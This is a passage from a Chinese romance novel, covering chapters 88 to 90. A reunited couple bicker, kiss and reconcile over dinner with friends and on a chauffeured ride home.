路泊汀上手抓了把额前被风吹乱的碎发,舌尖轻顶一下上颚,扯着唇角嘁笑了声,笑意带着几分自嘲意味,“我跟她这是四年不是四天,我再怎么弥补这几年在她身上的那些空缺,都无法做到无事发生。只要想到这个点……就他妈很烦。”
翁明明白他的意思,点头:“你不在她跟前,她这几年一个人在外肯定受了很多苦,说句实话我不太懂姚姨为什么要瞒着她,再怎么说也是养了十几年的女儿,放她一个人在外难道就不担心吗?你还记得两年前我在奥克兰的街上差点撞上枪击现场吗?那次差点死了,我爸妈当时还让我立马回国说这个学别上了……”
他意识到自己又说了一些不该说的话,万一阿声也遇到过枪击这种危险场面……
手立马堵着嘴,翁明摇头只顾着歉笑:“阿声从小不就能照顾好自己吗,我对她还是放心的,而且她现在看上去也好好的,这是好事。”
路泊汀视线依然垂着,略带生人勿近的俯视感,衬衫下摆随风微晃,步子放得很缓,“先不管别的了,我想停一段时间好好去陪陪她,等她各方面重新好起来再说。我妈……她怎么想怎么做,以前还是现在,我都不想再计较了,但我也不是圣人,只是没法儿跟她再多耗了。”
他的眼神又一变,看着前面走的人,长而浓密的睫毛映得那双幽深的眸子黑得彻底却出奇的亮,一笑,眼底就流出温柔深邃的光,“我所有的精力都要留给她了,想快点和她有个家,想让她先飞起来,想绑在她身上,她去哪儿我就跟哪儿,任何地方都行。”
翁明一手接过趴在他身上重新变得很安静的耳朵,然后听他又开口,一旦认真说话,语气就会收一点,声线压得有几分低冷:“我不知道该怎么跟你解释我有多爱她,可只要有她在,我好像才是我。说句你可能会觉得很傻的话,我跟她不是一天生,但我确实想过将来跟她同一天同一个点一起走人,因为我想象不到没有她的日子,我该怎么收尾。”
88. 别扭
那家中餐厅就在卖热狗的那条公路后的码头,店面很大,有上下三层,但因为是饭点又加这条沿线的车流量很大,店里几乎满坐。他们找了一圈也没发现什么空余位置。
一路走来,附近的饭店几乎也是爆满,而且翁明他们的住处偏远,开车至少要一个半小时,再去找其他店就太浪费时间了。
孟珠箐和翁明还在店外逗着耳朵,不知道店里是什么情况。
想都没想,温声立马回到前台开始跟店长磨,她走哪儿,路泊汀当然要跟去哪儿,结果都还没凑近,就被她伸手挡住,再略微强硬地推开,“……你别过来,等我两分钟,我自己能处理好。”
这家店是她特意带他们来的,他们是他的朋友,而且还抽出时间来照顾耳朵,那她理应负责到底。
路泊汀后撤半步,被嫌弃的很彻底,只好闲闲吹着口哨往边儿靠,很若无其事的样子。
不出几秒,温声就注意到他又斜过身倚向她旁边的桌沿,懒懒站定,觉得无聊,还顺走餐台上一双一次性筷子,掰开,当她的面漫不经心地擦着毛边,然后将两筷子当作电子鼓棒握在手里,转着旋着,有一搭没一搭地在桌上敲着——
啪~
嗒~
至始至终没往她脸上瞅。
店长还在处理前一个客人的问题,温声呆呆站在原地,两手无意识绞到一起,一时不知道该怎么和旁边的人说两句话,只能抬头看墙上的电视机,里面正放着非洲旅游景区的宣传片,还是她最想去的坦桑尼亚,只是她的心思完全不在电视上……
从海边回来就没怎么敢正视过他……
说些什么话好呢……
还是问问他饿不饿吧……
……好像有点傻……
“想去吗?”
很突然的声音。
啊?
温声面上没反应,装出一副出神的表情,装没听见,继续盯着那个宣传片看。
耳朵却悄悄竖起。
等着他继续问。
最好是一直问她一直问她,她都不用开口,他就能猜出她心里想的是什么。
路泊汀一笑,顺着她别别扭扭又玻璃易碎的小心思,指着电视机,又说:“想去的话,老公这两天就能带你走。虽然晚了几年,本该你高考完就带你去的,但现在应该也还来得及。”
想去……
很想去……
温声假声假气地咳着嗽,用余光飞快瞄他一眼,重点往他那身极斯文败类的衬衫西裤上看,身高腿长,有着很完美比例的男模身线。
但是……
哪有人好几年都没见,一见面就带她去旅游的?
他不应该抱着她再哭一阵吗?
他不应该再来好好哄哄她吗?
拜托!
四年没见了啊!
温声作里作气地继续装耳聋,当没听见。
路泊汀清冷又漂亮的黑眸微微眯起,静静定在她身上,嘴角挂笑,不太正经地盯着她,眼神带点似笑非笑的轻佻和冷感。
却没再开口说话。
从小到大,温声太熟悉他身上那种层次难言的气质,疏离又痞气,很微妙,在她面前像个温柔却攀满流氓气息的狡猾恶棍。
脸被盯的有点热……
温声极力忽视掉来自旁边存在感极强的视线,前面的客人正好掉头要走,排队终于挨到她了,店长推过来一份老式黑色菜单,桌子上还点着小酒壶,朝她客客气气一笑,“还有两天就新年了,我们店近日有安排跨年的豪华套餐,八大菜系都有,您可以先下菜单让后厨准备。另外我需要先问一句,你们有提前预定位置吗?”
没有啊老板……
温声有些不好意思地摇摇头,用两只手圈住嘴巴声音小小地求她:“我们是四个人加一条小狗,能不能麻烦您帮我们再加一个位置,不需要特别大的包间,只要腾出一张桌子能坐就可以,拜托啦老板,今天好不容易赶过来的……拜托拜托!”
望着他们身后还等着一大堆早就定好位置的客人,店长迟疑,店长犹豫,店长打算拒绝。
真腾不出什么像样的位置了。
温声的小眼神飞快乱扫着墙上的菜单,细细的手指隔空指着划着,临场现编:“您难道没印象了吗老板?我几天前才点的豆豉蒸排骨,还是最大份的!还有那个碳锅牛杂和鲶鱼锅!我走的时候还打包了一份您记得吗?我每次来都会点它!我真的吃了你家好几次啦!!”
但其实她每次都是一个人来,所以点的都是小份,还从来没超过两道菜。
路泊汀支着长腿,身子斜向她,听她偷摸摸的话,有些好笑,但也没打断。
店长确实对温声有印象,这几年断断续续来过店里好几次,但每次点什么菜她忘了,神情有些难办,“位置确实都满了,排号的人我都没算进去,我只能说我尽量去加桌。”朝她指了指显示屏,上面全是清一色满座的包间信息,又说:“目前三楼的小开间可以给你们腾出来,但是这间的消费不能低于500,要先加50的补位费,能接受的话,我就让人现在去给你们收拾位置,你看能行吗?”
550……
刀……
怎么会这么贵!
温声立马算了算自己的余额,只要想到下午那场临时摄影的活还没有给她结算工资,心就微微一凉。
请朋友吃饭怎么能没有钱?
但是卡里好像确实没有多余的钱了……
虽然家里定期会打给她一笔很宽裕的生活费,姚书文和路康也不会去看几个孩子的消费记录,但温声还是不想多花一分钱,所以每个月她只取出一部分小钱确保自己不会饿死,然后剩余的钱全交给管财务的私人助理,是姚书文之前给她安排的,她计划一毕业就将这些存钱还给路家,然后努力打工赚钱,还之前那些学费和生活费。
只是这个月好像花超了……
“可以,订吧。”
诶?
温声眼睁睁看着路泊汀掏出钱夹将一张卡从桌面滑递过去,动作和小时候甩红票子时一样的张扬潇洒,待那店长刷卡处理时,冷不防——
他忽然偏过头。
温声一下对上他的眼睛,软乎乎的心像被吸铁石立马吸住,让她动弹不得,让她惶恐不安,下意识想要躲开。
路泊汀凑她更近,长指从钱夹抽出那张几年前一起去看星星的侧影合照,自从他失忆后,他们之间不算多的合照全被刻意处理了,仅剩的这张照片还是后来刘嫂交给他的,照片不算旧,但也绝不新,边角泛黄背面还有压痕,上面是他用浅色马克笔标记的时间地点:
「20xx年10月25日于渭元镇,凌晨一点二十八分,带宝宝第一次来观星」
他低声重复念着。
“别躲啊,看看我……”
温声只好将视线慢慢上移,然后停在他的喉结上,一动不动。
眼圈在慢慢发红。
“先确认一下现在站在我面前的人是不是我的宝宝。”
路泊汀将那张照片举到她脸颊旁,一人一照,在她脸上来回望着,瞧着,目光细腻悄然,看得很认真。
温声见他忽然收起照片,眉眼也蹙着,同时朝她歪下头,语气疑惑,却带着半分促狭的笑意:“确认失败了,我的宝宝好像变成了小哑巴。”
从傍晚见到他到现在她都一直沉默着,既不开口,也不敢和他对视,路泊汀能察觉出她心里那些翻江倒海的怯意,害怕他灼热的视线,害怕此时此刻只有她在心慌意乱,更害怕自己在他面前又会失控地不断掉眼泪……
魂牵梦萦的人就站在面前,再也不是梦,是真实的他。
百感交集。
却欲言又止。
他都能看出来。
小哑巴温声不自觉地咬紧嘴唇,眼角越来越湿润,脸被忽然涌上的热气憋得渐渐通红。她努力转过头,努力看还在刷pos机的店长,店里现在人手不足,餐台还时不时有客人过来签字结账,小票打印机一直滋滋响,店长只好微笑示意他们再慢等两分钟。
路泊汀放在桌上的手,指尖轻叩桌面,一点一点,挪向温声,然后细长的食指缠住她的右手,五指轻巧地滑进她微微发抖的指缝,在她一时发懵时,大手牢牢握紧她的手。
十指交叉,严丝合缝。
他又将手朝上,她的小手全部沉入他手心,他俯身,贴近了就习惯吹她很红的眼睛,“怎么,不会牵手了?”
另一手抬起给她轻轻擦眼泪,很怜惜的动
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作,直至那点湿润被擦干。
温声唔了一声,草草对上他的眸子,沉静,深邃,眼里全是她的倒影,她心跳很快,假装不在意地错开目光,往左右两边乱看,“谁说的,不就牵手吗,这又不难。”
反抓着他,手一转,刚要主动牵紧他,结果他修长的指尖曲起一勾,若有若无地挠了把她的手心。
三二一
痒痒的!
温声皱着脸,小手下一瞬就又想缩回去!
“哎,先别动啊宝宝。”
路泊汀抓紧她,忽然轻着声提醒她,高大的身影靠她更近,嗓音像湿润的砂砾颗颗磨过她的耳朵,耳尖被他的气息搅得一片红热。
那个还在登记的店长正好无意间抬头,看他们一眼,接着,眼神就流露出一片尽在不言中的调笑。
……
温声的脸越来越红,然后就听耳侧的人又说道:“可以了,动吧。”
他的低语带了一丝催眠的意味,温声竟然很听话地转过来小脑袋,很听话地张开粉濡的软唇,随即,面上一暗,唇角也悄然贴上一抹异样的柔软,泛着凉意,又带着微微潮润。
路泊汀挑的角度刚刚好。
没有探舌,只是贴着她的唇肉轻轻拂擦,一下一下,很轻很轻地亲她,
一记非常浮光掠影又视若珍宝的触碰。
他越靠越近,在他怀里她变成一个小小的缩影,呼吸也浅浅淡淡,十分紧促,那股好闻的气息再次包围住她。
“这是在饭店,人很多啊……你靠我太近了……”
温声咬紧唇肉,继而缩起小脖子,头也埋低了,面对他忽然的亲近还是会喘不上气,还是会呛到口水。
“我只是想承认,是我先不会亲亲的。”
路泊汀见她脸都烧了起来,举着那个不大不小的钱夹,就挡在她脸侧,遮住那些人乱瞟过来的视线,再次低头,硬挺的鼻尖擦过她的脸颊,轻轻压向她的鼻子,薄唇微张,半含半咬地摩挲着她的嘴唇,很短的几秒,又浅浅嘬了下,松开的很自然,哼了声笑,“但这都不是问题,不就亲亲么,老公愿意向你学。”
说得人模人样的,对她动起手脚来依然是一副游刃有余的坏狗样……
混蛋!
前台挤了好些人,有从楼上下来结账的,有排位等待的,不知道有没有人注意到他们刚才的画面,但温声爆红的脸实在过于显眼,她还做贼心虚地睁着大眼睛和店长回视,就差连连摆手:我不认识他啊……
“早点适应啊宝宝,从现在起,我想亲就亲。”路泊汀拿走她手边那顶大大的渔夫帽,一下又扣回她头上,抓起她的小衣领往前一带,温声立马撞到他身上,他还极其做作地痛嘶了一声,嘶得很轻描淡写,“欠了这么久时间,老子当然得全亲回来。”
……
那种欠里吧唧的感觉又回来了。
莫名的怀念。
温声依然躲着不看他,心里的别扭却在慢慢消散,小手主动牵紧他,很亲热的动作,两人的手心都有层潮润,贴啊贴,谁都没松开。
门口看了半天的孟珠箐眼角狠狠一抽,一时都看呆了,她早就知道路泊汀这种类型的压根就不是什么纯情闷骚男,但亲眼见到他对喜欢的姑娘卖着真真实实的骚,还是会有种淡淡的震撼。
她愿今后称呼他为——汀sir。
谐音,挺骚。
孟珠箐抬肘,莫名捣向身后的翁明:“喂,我也想要!”
翁明被顶个半死,五官瞬间拧到一起,抱紧腹部,忍着痛呼,支支吾吾问:“……想要什么?”
“你说呢!亲我啊!”
瞥一眼前面腻腻歪歪的两人,翁明捧上孟珠箐的脸就湿漉漉的上千吧唧一口,又转头去亲她的嘴唇,刚亲上都还没回味过来今天的唇釉是啥味的呢,就被孟珠箐扇开了,怒道:“不是这样的亲!!你太直接了没感觉!!”
翁明就像一只大金毛,趴着身乖乖往她面前凑,噘起嘴要从她的嘴角开始亲,结果这回连亲都没亲到,被她一巴掌毫不客气地抡开,再次发飙:“你就不能说点情话再亲啊!要你何用!!”
……
…………?
媳妇儿,你之前直接扑倒我时可不是这么说的啊!
89. 逗弄
聚完餐后,时间已经晚上九点多,两对情侣就在停车的那条滑坡上磨了一阵时间,主要是孟珠箐抱住温声的胳膊硬是不放,将脑袋磕到她细薄的肩上,声音甜腻腻的:“宝儿,你们今晚怎么回去呢,要不要让翁明送你们一段路?”
从这里打快车到她的学校,怎么着都要一个多小时,更别说坐公交还要倒一趟轻轨,到家肯定零点了。
夜里的风湿润带点沙沙的柔意,这样的夜晚很适合散步。温声鼻子吹得有些透明的红,看一眼路泊汀,他正好也看着她,想了想,委婉道:“不用那么麻烦了,你们离得更远,明早不是还有会要开吗,还是早些回家好。”
其实是她想带他再溜溜步,去熟悉熟悉这几年她待过的几个地方,反正明天又没什么事情做。
“可是耳朵已经睡着了,坐公交会不会很麻烦?算了!你就去我住的地方吧,咱俩一起睡得了。”
翁明听到了,赶紧扯了扯孟珠箐的袖子,让她看看他,还活着呢还没死呢这个恋爱还能再谈谈看啊!
耳朵生了个说睡就睡的困困脑袋,这会儿掉着小狗头乖乖趴到路泊汀的肩上,耳朵和尾巴全部蔫蔫地耷下。
一副四仰八叉睡得很熟的小狗样。
路泊汀就在温声旁边,若无其事地斜着一侧肩让她摸,温声顺手就摸了摸耳朵蓬松的毛毛,还去碰它的小湿鼻子,犹豫几秒,刚要开口:“那好……”
耳朵毛茸茸的大尾巴飞快一甩,悄悄就扫过了她的脖子。
耳朵你……
在装睡啊?
完全是想让翁明孟珠箐识趣点赶紧走走走!
狗狗我呀,没空和你们两位远房叔姨浪费时间了。
……真是什么坏心眼的人养什么坏心眼的狗。
路泊汀近她几分,低下头,眼尾微微眯起,眼神交汇,漆黑透亮的眸光闪烁出找茬的戏谑——谁让你笑了?
温声这次也不回避了,抱起胳膊 ,瞅着他故意靠近,热息围抱着她,就那么定定站着,定定回视他——你管我?
小手还很皮很野蛮地一把拍开他的手。
力道故意很大,他的手背唰的立马红了。
路泊汀眉眼微攒,不咸不淡地瞟过她,又赖赖嘁笑了声,一把揉乱她碎碎短短的刘海,扛着耳朵往车边走,拉开车门取走自己的提包,接着垫起一侧肩,坏心眼地又一抖,耳朵的圆溜眼睛都被抖开了,不满吼他:“汪!”
孟珠箐又呀了一声:“这是醒了?我刚还看它流口水呢。”
路泊汀将耳朵丢到提包里,然后牵着温声,站坡上给对面二人让道,抬着眉梢示意他们先走:“行了,都早点回吧,路上注意安全。”
想到什么 ,翁明突然问:“过年我们哪儿见啊?回国不?”
“还没决定,回去也没事干,打算带她出去走走。”
“成。”
见他们待会儿有其他安排,翁明识趣一笑,抓住孟珠箐的胳膊就往车里送,“咱俩得赶紧走了,我还有个报告今晚得熬出来,走走走。”
“哎呀你催什么,又不急啊,我也想溜会儿消消食,还想和阿声聊会儿……”
孟珠箐没甩开他,反应都没反应过来,一下被推进车里,刚要发飙,翁明就立马亲了亲她的脸颊,小声提醒道:“知道久别胜新婚么,今晚都占人家两个多小时了,你跟我凑什么热闹?”
……也是昂,那好吧。
孟珠箐立即调整了下表情,然后笑嘻嘻地扒着窗框又和温声摆手,满脸小女孩的热情,“阿声,你答应了我要教我打麻将的,过几天我就来找你噢!”当着翁明和路泊汀的面调戏地很大胆,“就只要我一个人来找你哟,你也要一个人哟,我们一起睡觉觉!”
她太热情,还是那种天生乐天派的热情,温声下意识就逃避着没回应,瘦瘦直直的背硬是无措地弯了下,然后用手背揉了揉颊边,脸红了……
会的麻将还是沈百合教的川麻,不过就算技术再烂,教别人是一点问题都没有的。温声很乖地点啊点脑袋,两团手朝孟珠箐轻轻抓巴抓巴地摆,“好~随时联系,路上开车注意安全,下次见。”
路泊汀侧额,慢条斯理地扫向一旁翁明,唇角一扯。
让赶紧闪人。
他那天真烂漫的老婆依然一副‘我还有很多很多话要说’的表情,翁明一张脸比温声还红,将车门赶紧甩上。他欠着身摸了把提包里的耳朵,叮嘱着:“乖,盯好你爹妈,别乱跑啊,下次见。”
啪!嘭!
引擎一响,那辆通体熏黑的跑车发出野兽一样的低吼,很快,尾灯的冷光就消失在街角。
一瞬没了影。
人一少,那种在饭桌上特意被隐藏和忽视的有关他的情绪再次袭向她,且随着时间越来越晚,她意识到今晚他要跟自己回公寓,握着手机的手心很快出了一层湿汗。
路泊汀和耳朵就静静贴在她旁边,静静盯着她,静静等她接下来的指令——回家or溜达?
她甚至都能感应到他和它眨眼的频率。
像两只赖上来怎么甩都不走的流浪狗。
温声只好埋下头,退出刚才和沈百合还在解释的消息界面,转手滑着打车平台,看了一会儿,可能是到点了并没有什么车接单。就在她担心今晚要很晚才回去时,面前不知怎么着就忽然停下一辆车身很长的黑色宾利,离她几步距离,静静杵在那儿也不动,只有熄火的嗡嗡音环绕在她周围。
……
温声绷着小脸盯着看了好一阵,确认司机是在等他们,才喃喃问一旁在给耳朵戴项圈的人:“你什么时候订的车?我怎么不知道?”
说完后立马指着它,又跟了一句,声音小小小小的:“……车费会不会很贵啊?”
虽然她很想大手一挥很想豪气冲天很想将钱甩他脸上向他宣告——
你记清楚了,从今往后是你温姐包你!
但她现在确实没什么经济实力给他放大话,唉。
温声倏尔又想到刚才吃饭时就见他心不在焉地刷着手机,还以为只是在回复消息……
这种被悄声照顾的感觉很微妙,在这几年,只要她出门在外,无论是自己一个人还是有朋友,打车找路线这种事自然会落到她头上。
但是现在有他了。
“咱俩约会里,提前预判主动执行,必要时还要充当个口袋。这事不一直是我做的么?”
路泊汀抬颌朝车窗示意了一下,司机迅速推门出来接人,他顺手抽走她多余的手机,顺手塞进自己西裤兜里,又顺手将耳朵轻轻推到她怀里,抬膝顶了下她的腿弯让她先别问先上车,半眯着眼,笑得很揶揄:“还有,哥们是坐那些小车的人么?”
他当着那司机的面,还很不客气地用手指轻点额头,示意她用脑子想想再问。
就很臭屁。
温声也没反驳,只是装起毫不在意,学他的样子刚要单手抄兜,刚要潇洒吹声口哨。
谁知既是哑哨,裙子还没兜可插。
……
温声抱紧耳朵,将脸快快拱了上去。
好丢脸!
“当然了,你得在路上告诉我这四年发生在你身上的所有事,一件一件全报给我,我时间很多,你慢慢说,今晚我先挑重点记。”见她表情很快一皱,少爷又发话了,“司机时间也很多,这车我今晚包了。”
温声斜过小脸瞪他,眉头也蹙得紧紧的,嘴巴嘚嘚的:“我哪有那么多事说啊!不就是吃饭睡觉打豆豆,上课上课再上课吗,除了偶尔会想你,生活照常和以前一样,这又没什么好提的。”
虽然这几年行尸走肉生不如死,但再怎么灰暗绝望,都已经过去了。
没有任何提的必要了。
wait!
“偶尔?!”抓住她的字眼,路泊汀微阖双眼,伸手忽然打断她,声音也跟着一大,歪下脑袋定定睨着她,“就只是偶尔想我?多偶尔才算偶尔??多想我才算想我??多想我才算偶尔???多偶尔才算想我???”
说的乱七八糟的。
温声捂嘴打了记哈欠,他又用ēn én ěn èn四个音调催她:“嗯哼?倒是说话啊,别装听不见,到底为什么偶尔才想我?”
还压迫式地朝她垂颈逼问:“说啊说啊,说啊我想听。”
温声躲开他黑漆漆的影子,唔了一声,就要和他口是心非:“你难道不知道我很忙吗,又要实习又要兼职,课余时间还要去做其他事,我能想你都不错了,你现在还要求上了?”
注意到他提唇突然嘁笑了起来,一副被逗到的无语样,温声又轻拍他的肩膀,让他放宽点心,“不过我能保证的是,在想你的时候最起码我没有一心两用没有劈腿没有出轨,对我这种学业既忙私下社交圈还丰富的小女孩来说,你不觉得幸运啊?被我念了几年是你几世修来的福气,不要得寸进尺噢。”
路泊汀开始胡搅蛮缠,俊脸很不满,但眼尾带风,上扬时轻佻的像只狐狸,温声盯着他唇边隐着一丝腹黑的薄笑,心一跳,刚要出声制止让他别演——
就见他高高瘦瘦的身影立在当街,转着身,两手叉腰,因为难以置信她竟然没把他放第一位,指着她控诉,吵得完全得理不饶人:“我不听你说那些无关紧要的!我就想你好好讲讲,哥们曾经以及现在到底是你的谁?如果你现在承认我很重要的话,不对,是最重要!那你补偿我一个湿吻,这事就完,我们接下来还有得谈。”
又撒泼一样抖了抖肩,动作极其夸张做作。
司机两手合在身前,望着几秒内忽然发疯的男生和抱着狗一脸无动于衷的少女,他也只好低眼望地面,表情收得一丝不苟。
走过去也不是,不去也不是。
温声对他那副要找事要发疯的表情了如指掌,只当他在犯病,刚要怼他,就有一对刚从海边过来的中年夫妻,本来还低声聊着天,结果擦身而过时,顺道就被路泊汀的声音惊了下,阿姨明显被吓到了,转身,伸指直点着路泊汀,“小伙子,你讲话这么粗鲁,这么没素质,没哪个女孩子会要你的。”
说完眼角轻颤,斜暼过他,还收着声骂他:“What a rude jerk!”
然后搂着自己的老公扬长而去。
?
第一次被人骂莽夫,自觉优雅二十二年的路泊汀犹如当头一棒,收回冷眼看毒妇的目光,下一秒就朝温声冷冷摊开两手,“喂,我被这么误解你不管管?不为我发声?我的死活一点儿都不重要是吧?”
“我怎么管啊,该解释都解释完了,是你太玻璃心!”温声嘴唇都要抿破了,使劲憋回笑,“好啦,快走吧我们快走吧,一会儿还要去接小八仙呢。”
那阿姨还在频频回头看过来,她只好举起耳朵挡住自己的半张脸。
还是无法从容应对他的丢人现眼。
“就算全世界的人不要我,你得要我,这事儿你得往心里记清楚了,每天记八百遍,我不管!”路泊汀轻拨额前碎发,脚尖轻点啊点,催她还催上瘾了,“记住了吗?问你话呢记住了吗?”
要不是在外边,温声干打包票他一定会大步走过来,拍着她胸口,人模狗样地说:“你的心门里只能有我,是我是我,钥匙只能我保管。”
指定还会若无其事地用手挠两下,吃她两顿豆腐。
没见过这么缠人的!
司机敞着车门在等他两,没有丝毫不耐,表情看上去稳的一批。
路泊汀本来只是逗逗她,但见她真的毫不在意,心里那点贱意倏尔上来了,“不说话是吧,只是偶尔是吧,不说要我了是吧,可以,那老公继续飞走咯。”
还
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两手作鸟翼状,绕着温声周身很幼稚很小心眼地扇了两圈,再用阴不阴阳不阳的腔调在她耳边放声怪叫:“呜呼~呜~~呼~~”
声音远近不一,像那种清晨的布谷鸟扒在她身上咕咕咕的乱啃。
但温声脸色变了。
她将耳朵交给司机,让他在车里等,上前又去抓路泊汀的手腕想往车里塞,放低声音:“回家吧,我不想现在说这些。”
可奈何人又高又硬,她拽了好几次,拽不动,只好改去拉他的衣角,结果完全拉不动,还被他一个轻松回扯,她就软乎乎地撞到了他手臂上。
“疼!”
听她哎呀一声,有点像小猫被踩到尾巴时嘶嘶的娇气,路泊汀没注意到她发沉的热息,得寸进尺又说了一遍:“我真要飞走了。”
他失忆的这四年,于他而言可能只是一个时间跨度,但对她不一样。
温声还埋着头,忽然转了个侧角,双手无力地垂下,将额尖一下轻抵到他身前,就是胸口的位置,声音很软,又有些朦胧:“不是偶尔呀,怎么会只是偶尔想你……不要再逗我了,以后也别说这样的话了,我好不容易才见到你,如果再来一次四年,我不知道我还能坚持多久……”
开其他什么玩笑都行。
但不能是用离开来逗她。
她脸上泛出淡淡的红热,和以前被他气红了脸时一模一样,这不过这次声音有些发哽,眼角像有通红的水汽要掉出来。
如果现在有人问他,离她最近的距离是在什么时候?
就是突觉心酸的这一刻。
她一哭,他就被重重击回地底,怎么都飞不起来。
完了。
路泊汀立马收起表情,僵着没敢动,连呼吸都停了一下。
然后司机就见那男生下意识抬眼看向他,眼底竟然还有明晃晃的无措和慌乱,跟前一秒没个正形的欠揍样完全不一样。
司机犹豫了,刚要示意需要帮助吗,就见他单手抱住小姑娘,抱得很紧很紧,头都快挤到人家小姑娘的颈窝了,见他嘴唇微张,却好像说不出口,只能微微咬住唇,琢磨着该怎么哄。
看上去显得更慌了。
五十多岁的司机大叔早八辈子就经历过感情这档事了,熟练地站在原地,熟练地摇摇头,脸庞平静,等小年轻人自己处理。
“宝宝,看看我?”路泊汀说得试探,还有些懵。
“逗你的,我又不是那些笨鸟,它们想飞就飞,我得挂你身上才能活。”他凑到她耳边,下颌一下又一下轻勾着她的下巴,声音愈发放轻放慢。
“以后不会再分开了,我保证我一直都在,如果哪天我去做其他事你又想见我,不管我在哪里不管多晚不管你会不会告诉我,我都能第一时间去接你。看看我看看我好不好?”
温声小心翼翼地吸了吸湿啦啦的鼻子,眼帘微垂就是不看他,嘴巴也委屈倔强的扁起。
她很烦现在的自己因为他动不动就哭,但又没办法避免。
路泊汀绕到她身后,抬胳膊上移,贴在她耳边,曲起两根长指去揪她很热很红的脸颊,捏着轻轻挠,轻轻蹭眼泪,另一手又去勾她细细的手指,小指和她缠在一起,晃啊晃,“拉钩,上吊,一辈子,不会变。”
说完就……
歪下头……
拇指与拇指相触,郑重地和她盖了个印。
然后……
轻轻仰头,用一种服软的侧挎式的目光望向她。
那双眸子黑得通亮,像是没有任何杂质的黑葡萄。
无声安静,又纯粹。
好不好不好不好不好不好不好……
爱会让人变得不知满足,变得不知天方何物,是只要有他在,她就不用再当着谁的面必须长大。
温声本来没想掉眼泪的,可是他一直用哄小宝宝的口吻哄着她,温柔好闻的气息寸步不离,仿佛恨不得将他自己变小变小再变小,然后小小地挤满她全身的口袋,她去哪儿他就跟到哪儿。
只要是他,天涯海角就能变成咫尺之间。
自己像一只被麦香不断膨化的蛋糕,温声只觉得连眼泪花都变得松松绵绵,哪怕很用力眨着眼睛想要逼回去,但脸上还是湿漉漉一片。
“你别哄我……”
下一瞬。
“我错了……”
路泊汀再低声补一句,上手给她擦眼泪,从眼尾到脸颊,再蹭下巴,动作不算温柔,甚至还有些笨拙。
结果就是,温声的眼皮被他越擦越红。
还肿了。
路泊汀盯着看了几秒。
到底是哪位神人连自己老婆眼泪都不会擦?
他凑得更近,离她的侧脸不过几毫米的距离,又找补似得去吹她的眼睫。
“没那么夸张,只是有点伤感,我又没哭!”温声眼睛眨更快了,湿湿的睫毛簌簌点着眼底,伸出手扶正他的脑袋,睁眼说瞎话:“我再也不是以前那个爱哭的人了,从现在开始,这一个月你别想见我哭。”
她用手背胡乱擦着脸,想到他的话,又一把抓紧他的衬衣领口,往面前很快一拽,两手掐紧他的脖子,狠声道:“但你刚才说的话我都记清了,你要敢做不到,我做鬼都要缠着你,你要敢中途再玩消失,我绝对、不可能、再放过你!就算去泰国找什么巫术,就算掘地三尺,我都要找出你!你以后都别想再丢下我!听见了吗?”
握住他的脖子前后乱摇,摇累了就揪住他的领带当成小狗绳继续晃。
路泊汀脖子发紧,没多会儿耳根就红了,而且是越来越红,修长的颈边甚至都有青筋冒出来。
他边咳红了脸,边欠下身,两手搁膝上,肩头的线条因站姿变动拉的更宽更直,任她拽,任她拍脸,然后一副快要闭气的烂样子,艰难点头,嗓音哑着:“知道了知道了宝宝……”
90. 硬币
上车后,路泊汀照例往温声身上倒,大长腿同时不动声色一抬,温声只觉得眼前一晃,还没看清楚,他就单腿压向了她的两细腿。
刚才车外的那点温情消失殆尽。
本来就被挤到角落施展不开手脚,他又开始变向欺负她!
温声鼓着腮帮子努力憋气,在座位里扭啊扭,“出去点出去点!别挤我,我呼吸不上来了!”担心被司机叔叔看到,她只好用脚尖踢他另一个裤腿,亮晶晶的大眼睛里满是抱怨,瞪着他,一字一字往外挤,“你多少斤我多少斤?我腿都被压麻了!……疼啊!!你给我起开!!!”
路泊汀玩弄起她头顶一撮呆毛,简单吐出两字:“不要。”
耳朵趴的另一边车门,不时瞅一眼旁边空出的一大片位置,它的主人单手环紧香香妈妈的纤腰,而且是托臀那种占有欲极强的动作,整个人埋在她身上,低头贴耳,看上去就在霸凌欺负人呢!
但那是主人啊,多坏都是主人……
耳朵叹了声狗气,乖乖蜷起大尾巴,然后将狗头趴进座位里,重新将眼闭上。
不该吵的时候别乱吵。
不该挤的氛围别乱挤。
道理它懂。
后排空间很宽敞,空气中飘着皮革自然温和的气息,还有一丝很淡的天然木材的香味,司机是开专车的,驾驶经验很丰富,一上车就自动屏蔽后座两人,视线钉到前方路况上,多一秒都没往后视镜暼一眼。
但是车里实在太静,三人微妙的呼吸声忽然横在车间。
就很不好干点坏事。
“老叔,介意放点热闹的歌吗?”
路泊汀和温声拉开些距离,长指一动,无聊地敲起腿。
好痒……
温声没忍住翻了记白眼,敲得还是她的腿!
司机叔叔很客气地微笑,探手已经点开某听歌软件里自己收藏的歌单,语气温和:“电台可以吗?想听什么?”
“随意点好了,就放您常听的。”
谁知这一随意。
就随意过了头。
别看这叔西装笔挺,领带打得正,鞋子擦得亮,像个随时谈商务的公司高管。
结果快嘴rap的流行乐响起时,就那个点儿,温声和路泊汀很有默契地同时扭过头,同时对上眼,同时绷着唇笑出声。
竟然是个资深Barbz?
司机叔叔表情依然没什么波澜,将后脑勺怼向他们,开始专心开车。
一时间,车内气氛终于热闹了些。
路程大约一个小时,离开码头,车子进入一条充斥海风气味的木栈桥,路边的霓虹灯随着车流不时滑过他们的眼。不出几分钟,又进入了一段蛇形山路,窗户半开,混着干燥泥土的松木味忽然飘进车里。
很好闻,给灰中透绿的夜色铺上一层轻纱的暧昧。
路泊汀终于舒展开长腿,斜过身再次挤向温声,还欠兮兮地勾着她胸前的安全带,长指故意碰着她,笑得很流气,“kiss kiss?”
声音并不小。
这还在车上啊!
温声被他挤得压根动弹不得,他那双手还不老实,她的脸一点一点又变回红热,缩起小小的身子不让他有机可乘,声音都磕巴了:“别动了…回……回家再亲……”
路泊汀没收手,肩膀微耸,拒掉:“不,就现在,我渴了啊。”
你渴不渴管我什么事?
温声被他不要脸到了,用胳膊肘一下顶开他,压低嗓子骂道:“你少在车上找事,渴了就喝水,就算渴死跟我有什么关系?”
“当然有,你渴了会求我,那我渴了,自然也是要求你的。这不是应该的么?这不是相互的么?你不会要见死不救吧?”
“呸!你胡说!我什么时候求过你了?我渴了自己会喝水!你多大脸?自作多情什么?”
“Wow~会自己喝水会自己睡觉还会自己照顾自己,宝宝可太厉害了~”他刻意摇头晃脑,语气极夸张,又漫不经心地斜扫过来盯住她的唇,挑眉示笑,“那今晚拭目以待咯。”
说完也不顾她挣扎,啪的一下!就死皮赖脸地躺到了她身上。
怎么会有这么烦的人啊!
“喂喂喂!”温声塌着肩,伸出一根细指戳开他的头,“离我稍微远点也行啊,你不热吗?”
